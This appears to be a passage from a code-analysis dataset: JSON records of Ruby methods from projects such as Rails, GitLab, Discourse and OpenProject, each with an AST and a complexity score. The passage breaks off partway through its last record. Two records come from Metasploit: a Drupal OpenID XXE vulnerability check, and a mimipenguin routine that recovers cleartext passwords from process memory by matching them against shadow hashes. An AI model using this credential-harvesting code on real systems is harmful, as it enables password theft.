{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/api/data_streaming_test.rb","start_line":14,"raw_source":"def two\n    send_data(file_data, {})\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"two\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"send_data\",{\"type\":\"send\",\"children\":[null,\"file_data\"]},{\"type\":\"hash\",\"children\":[]}]}]}","id":"b572daa2-3931-441c-afe9-a4fa46a42ffd"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/validators/chat/direct_message_enabled_groups_validator.rb","start_line":9,"raw_source":"def valid_value?(val)\n      val.present? && val != \"\"\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_value?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"!=\",{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"684e2230-d6db-4336-9ab8-e8351e5eabe3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/range_test.rb","start_line":105,"raw_source":"def test_data_type_of_range_types\n    assert_equal :daterange, @first_range.column_for_attribute(:date_range).type\n    assert_equal :numrange, @first_range.column_for_attribute(:num_range).type\n    assert_equal :tsrange, @first_range.column_for_attribute(:ts_range).type\n    assert_equal :tstzrange, @first_range.column_for_attribute(:tstz_range).type\n    assert_equal :int4range, @first_range.column_for_attribute(:int4_range).type\n    assert_equal :int8range, @first_range.column_for_attribute(:int8_range).type\n  end","complexity_score":21.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_data_type_of_range_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"daterange\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@first_range\"]},\"column_for_attribute\",{\"type\":\"sym\",\"children\":[\"date_range\"]}]},\"type\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"numrange\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@first_range\"]},\"column_for_attribute\",{\"type\":\"sym\",\"children\":[\"num_range\"]}]},\"type\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"tsrange\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@first_range\"]},\"column_for_attribute\",{\"type\":\"sym\",\"children\":[\"ts_range\"]}]},\"type\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"tstzrange\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@first_range\"]},\"column_for_attribute\",{\"type\":\"sym\",\"children\":[\"tstz_range\"]}]},\"type\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"int4range\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@first_range\"]},\"column_for_attribute\",{\"type\":\"sym\",\"children\":[\"int4_range\"]}]},\"type\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"int8range\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@first_range\"]},\"column_for_attribute\",{\"type\":\"sym\",\"children\":[\"int8_range\"]}]},\"type\"]}]}]}]}","id":"c0656ad9-4060-423f-9ad3-f3e862648c9b"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/forms/meeting/participant.rb","start_line":60,"raw_source":"def excluded_ids\n    @excluded_ids ||= @builder.object.meeting.participants.filter_map(&:user_id)\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"excluded_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@excluded_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@builder\"]},\"object\"]},\"meeting\"]},\"participants\"]},\"filter_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]}]}","id":"483ec94a-c8bf-4e07-b9ba-56baa2d86f5b"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/spec/system/page_objects/components/ai_composer_helper_menu.rb","start_line":24,"raw_source":"def press_escape_key\n        find(\"body\").send_keys(:escape)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"press_escape_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"body\"]}]},\"send_keys\",{\"type\":\"sym\",\"children\":[\"escape\"]}]}]}","id":"d9899629-8792-4294-b3ec-6523b9425516"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/users/invite_user_modal.rb","start_line":105,"raw_source":"def principal_autocomplete(name = principal_name)\n        if invite_user?\n          retry_block do\n            autocomplete \"opce-members-autocompleter\", name, select_text: \"Send invite to #{name}\"\n          end\n        else\n          autocomplete \"opce-members-autocompleter\", name\n        end\n      end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"principal_autocomplete\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[null,\"principal_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invite_user?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"retry_block\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"autocomplete\",{\"type\":\"str\",\"children\":[\"opce-members-autocompleter\"]},{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"select_text\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Send invite to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"autocomplete\",{\"type\":\"str\",\"children\":[\"opce-members-autocompleter\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"c0ea46e2-55ab-4868-a0f1-327483f2be25"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/ruby_parser/bm_sexp.rb","start_line":315,"raw_source":"def call_chain\n    expect :call, :attrasgn, :safe_call, :safe_attrasgn\n\n    chain = []\n    call = self\n\n    while call.class == Sexp and CALLS.include? call.first \n      chain << call.method\n      call = call.target\n    end\n\n    chain.reverse!\n    chain\n  end","complexity_score":16.3,"ast_json":"{\"type\":\"def\",\"children\":[\"call_chain\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"sym\",\"children\":[\"attrasgn\"]},{\"type\":\"sym\",\"children\":[\"safe_call\"]},{\"type\":\"sym\",\"children\":[\"safe_attrasgn\"]}]},{\"type\":\"lvasgn\",\"children\":[\"chain\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"call\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"while\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"class\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"Sexp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CALLS\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"first\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chain\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"method\"]}]},{\"type\":\"lvasgn\",\"children\":[\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"target\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chain\"]},\"reverse!\"]},{\"type\":\"lvar\",\"children\":[\"chain\"]}]}]}","id":"22accc2c-dc7b-4f73-a546-a5c56df103e3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_middleware/admin_mode/client.rb","start_line":28,"raw_source":"def find_admin_user_id\n          ::Gitlab::Auth::CurrentUserMode.current_admin&.id ||\n            ::Gitlab::Auth::CurrentUserMode.bypass_session_admin_id\n        end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_admin_user_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Auth\"]},\"CurrentUserMode\"]},\"current_admin\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Auth\"]},\"CurrentUserMode\"]},\"bypass_session_admin_id\"]}]}]}","id":"8bf5bf1e-8b37-4bdf-870e-32efe8bbc92c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/drupal_openid_xxe.rb","start_line":103,"raw_source":"def check\n    signature = Rex::Text.rand_text_alpha(5 + rand(5))\n    res = send_openid_auth(signature)\n\n    unless res\n      vprint_status(\"Connection timed out\")\n      return Exploit::CheckCode::Unknown\n    end\n\n    if drupal_with_openid?(res, signature)\n      return Exploit::CheckCode::Detected\n    end\n\n    if generated_with_drupal?(res)\n      return Exploit::CheckCode::Safe\n    end\n\n    return Exploit::CheckCode::Unknown\n  end","complexity_score":13.55,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"signature\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[5]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_openid_auth\",{\"type\":\"lvar\",\"children\":[\"signature\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Connection timed out\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"drupal_with_openid?\",{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"lvar\",\"children\":[\"signature\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generated_with_drupal?\",{\"type\":\"lvar\",\"children\":[\"res\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]}]}","id":"c1228d50-a5a4-4db9-867a-2b63871056f2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/emails/service_desk.rb","start_line":120,"raw_source":"def service_desk_verification_triggered_email(service_desk_setting, recipient)\n      @service_desk_setting = service_desk_setting\n      @triggerer = @service_desk_setting.custom_email_verification.triggerer\n      @smtp_address = @service_desk_setting.custom_email_credential.smtp_address\n\n      subject = format(s_(\"Notify|Verification for custom email %{email} for %{project_name} triggered\"),\n        email: @service_desk_setting.custom_email,\n        project_name: @service_desk_setting.project.name\n      )\n\n      email_with_layout(to: recipient, subject: subject)\n    end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"service_desk_verification_triggered_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service_desk_setting\"]},{\"type\":\"arg\",\"children\":[\"recipient\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@service_desk_setting\",{\"type\":\"lvar\",\"children\":[\"service_desk_setting\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@triggerer\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@service_desk_setting\"]},\"custom_email_verification\"]},\"triggerer\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@smtp_address\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@service_desk_setting\"]},\"custom_email_credential\"]},\"smtp_address\"]}]},{\"type\":\"lvasgn\",\"children\":[\"subject\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"Notify|Verification for custom email %{email} for %{project_name} triggered\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@service_desk_setting\"]},\"custom_email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@service_desk_setting\"]},\"project\"]},\"name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"email_with_layout\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"recipient\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"lvar\",\"children\":[\"subject\"]}]}]}]}]}]}","id":"ea60097c-bf3e-41b7-8f29-c50ac4a31092"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/test_helper.rb","start_line":111,"raw_source":"def initialize(settings)\n    super()\n    @settings = settings\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"settings\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@settings\",{\"type\":\"lvar\",\"children\":[\"settings\"]}]}]}]}","id":"cd2e010d-ed39-4f6a-aeae-1e10e1a36a4f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/build/prerequisite/managed_resource.rb","start_line":86,"raw_source":"def valid_for_managed_resources?(environment:, build:)\n            environment&.cluster_agent && build.user\n          end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_for_managed_resources?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"environment\"]},{\"type\":\"kwarg\",\"children\":[\"build\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"environment\"]},\"cluster_agent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build\"]},\"user\"]}]}]}","id":"e455eedd-e08b-4211-b08a-7b79809309e5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/linux/gather/mimipenguin.rb","start_line":265,"raw_source":"def check_for_valid_passwords(captured_strings, user_data, process_name)\n    captured_strings.each do |str|\n      user_data.each do |pass_info|\n        salt = pass_info['salt']\n        hash = pass_info['hash']\n        pass_type = pass_info['type']\n\n        case pass_type\n        when 'md5'\n          hashed = UnixCrypt::MD5.build(str, salt)\n        when 'bf'\n          BCrypt::Engine.cost = pass_info['cost'] || 12\n          hashed = BCrypt::Engine.hash_secret(str, hash[0..28])\n        when /sha256/\n          hashed = UnixCrypt::SHA256.build(str, salt)\n        when /sha512/\n          hashed = UnixCrypt::SHA512.build(str, salt)\n        when 'yescrypt'\n          get_python_version\n          next if @python_vers.empty?\n\n          if @python_vers == 'python3'\n            code = \"import crypt; import base64; print(crypt.crypt(base64.b64decode('#{Rex::Text.encode_base64(str)}').decode('utf-8'), base64.b64decode('#{Rex::Text.encode_base64(salt.to_s)}').decode('utf-8')))\"\n            cmd = \"python3 -c \\\"#{code}\\\"\"\n          else\n            code = \"import crypt; import base64; print crypt.crypt(base64.b64decode('#{Rex::Text.encode_base64(str)}'), base64.b64decode('#{Rex::Text.encode_base64(salt.to_s)}'))\"\n            cmd = \"python -c \\\"#{code}\\\"\"\n          end\n          hashed = cmd_exec(cmd).to_s.strip\n        when 'unsupported'\n          next\n        end\n\n        next unless hashed == hash\n\n        pass_info['password'] = str\n        pass_info['process'] = process_name\n      end\n    end\n  end","complexity_score":77.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check_for_valid_passwords\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"captured_strings\"]},{\"type\":\"arg\",\"children\":[\"user_data\"]},{\"type\":\"arg\",\"children\":[\"process_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"captured_strings\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_data\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pass_info\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"salt\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"salt\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"hash\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pass_type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"md5\"]},{\"type\":\"lvasgn\",\"children\":[\"hashed\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UnixCrypt\"]},\"MD5\"]},\"build\",{\"type\":\"lvar\",\"children\":[\"str\"]},{\"type\":\"lvar\",\"children\":[\"salt\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"bf\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BCrypt\"]},\"Engine\"]},\"cost=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"cost\"]}]},{\"type\":\"int\",\"children\":[12]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hashed\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BCrypt\"]},\"Engine\"]},\"hash_secret\",{\"type\":\"lvar\",\"children\":[\"str\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[28]}]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"sha256\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"hashed\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UnixCrypt\"]},\"SHA256\"]},\"build\",{\"type\":\"lvar\",\"children\":[\"str\"]},{\"type\":\"lvar\",\"children\":[\"salt\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"sha512\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"hashed\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UnixCrypt\"]},\"SHA512\"]},\"build\",{\"type\":\"lvar\",\"children\":[\"str\"]},{\"type\":\"lvar\",\"children\":[\"salt\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"yescrypt\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_python_version\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@python_vers\"]},\"empty?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@python_vers\"]},\"==\",{\"type\":\"str\",\"children\":[\"python3\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"code\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"import crypt; import base64; print(crypt.crypt(base64.b64decode('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"str\"]}]}]},{\"type\":\"str\",\"children\":[\"').decode('utf-8'), base64.b64decode('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"salt\"]},\"to_s\"]}]}]},{\"type\":\"str\",\"children\":[\"').decode('utf-8')))\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"python3 -c \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"code\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"import crypt; import base64; print crypt.crypt(base64.b64decode('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"str\"]}]}]},{\"type\":\"str\",\"children\":[\"'), base64.b64decode('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"salt\"]},\"to_s\"]}]}]},{\"type\":\"str\",\"children\":[\"'))\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"python -c \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hashed\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},\"to_s\"]},\"strip\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"unsupported\"]},{\"type\":\"next\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hashed\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"hash\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass_info\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"str\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass_info\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"process\"]},{\"type\":\"lvar\",\"children\":[\"process_name\"]}]}]}]}]}]}","id":"7328fa7b-9d54-4af8-ad9d-c2985ef65736"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/edit_fields/date_edit_field.rb","start_line":83,"raw_source":"def within_modal(&)\n    page.within(modal_selector, &)\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"within_modal\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within\",{\"type\":\"send\",\"children\":[null,\"modal_selector\"]},{\"type\":\"block_pass\",\"children\":[null]}]}]}","id":"f12934b9-774a-4a5f-833a-8876aabbfc22"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/database/table_schema_helpers.rb","start_line":164,"raw_source":"def index_by_name(table, name, partitioned_table: nil)\n      if partitioned_table\n        partitioned_index = index_by_name(partitioned_table, name)\n        return unless partitioned_index\n\n        connection.indexes(table).find do |key|\n          key.columns == partitioned_index.columns\n        end\n      else\n        connection.indexes(table).find do |key|\n          key.name == name.to_s\n        end\n      end\n    end","complexity_score":23.3,"ast_json":"{\"type\":\"def\",\"children\":[\"index_by_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"kwoptarg\",\"children\":[\"partitioned_table\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partitioned_table\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"partitioned_index\",{\"type\":\"send\",\"children\":[null,\"index_by_name\",{\"type\":\"lvar\",\"children\":[\"partitioned_table\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partitioned_index\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"indexes\",{\"type\":\"lvar\",\"children\":[\"table\"]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"columns\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partitioned_index\"]},\"columns\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"indexes\",{\"type\":\"lvar\",\"children\":[\"table\"]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"name\"]},\"